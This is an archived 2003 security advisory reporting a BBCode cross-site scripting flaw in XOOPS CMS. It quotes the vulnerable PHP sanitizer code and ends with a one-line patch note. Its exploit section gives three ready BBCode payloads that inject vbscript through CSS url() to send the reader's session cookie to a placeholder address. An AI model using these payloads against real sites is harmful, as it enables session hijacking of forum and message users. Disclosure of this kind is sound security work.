[VulnWatch] BBCode XSS in XOOPS CMS

From: Frog Man (leseulfrogat_private)
Date: Wed Aug 13 2003 - 04:32:07 PDT

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    Informations :
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Language : PHP
Bugged Versions : 1.3.x and less (+ 2.0.x and less ? not checked)
Safe Version : 2.0.3
Website : http://www.xoops.org
Problem : BBcode XSS

PHP Code/Location :
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This hole can be used in modules :
- Private Messages
- News
- NewBB (forum)


class/module/textsanitizer.php :

---------------------------------------------------------------------------------------
[...]
function xoopsCodeDecode($text){
$patterns = array();
$replacements = array();
[...]
$patterns[] = "/\[color=(['\"]?)([^\"']*)\\1](.*)\[\/color\]/sU";
$replacements[] = "<span style='color: #\\2;'>\\3</span>";
$patterns[] = "/\[size=(['\"]?)([^\"']*)\\1](.*)\[\/size\]/sU";
$replacements[] = "<span style='font-size: \\2;'>\\3</span>";
$patterns[] = "/\[font=(['\"]?)([^\"']*)\\1](.*)\[\/font\]/sU";
$replacements[] = "<span style='font-family: \\2;'>\\3</span>";
[...]
$text = preg_replace($patterns, $replacements, $text);
[...]
return $text;
}
[...]
function oopsHtmlSpecialChars($text) {
$text = htmlspecialchars($text);
$text = str_replace("'","'",$text);
return $text;
}
[...]
---------------------------------------------------------------------------------------


Exploit :
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-----------------------------------------------------------------------------------------------------------------------------
[color=FFFFFF;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/color]

[size=10;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/size]

[font=Verdana;background:url(vbscript:location.replace(Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+document.cookie))]a[/font]
-----------------------------------------------------------------------------------------------------------------------------

function url() from style tag (css) and vbscript are used here to redirect 
to the url "abcdef" + the cookie with the bbcode tags [color] [size] and 
[font].
Another style function that could be used is expression().

Patch :
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Just download the las version of XOOPS (2.0.3).



frog-m@n
http://www.phpsecure.info

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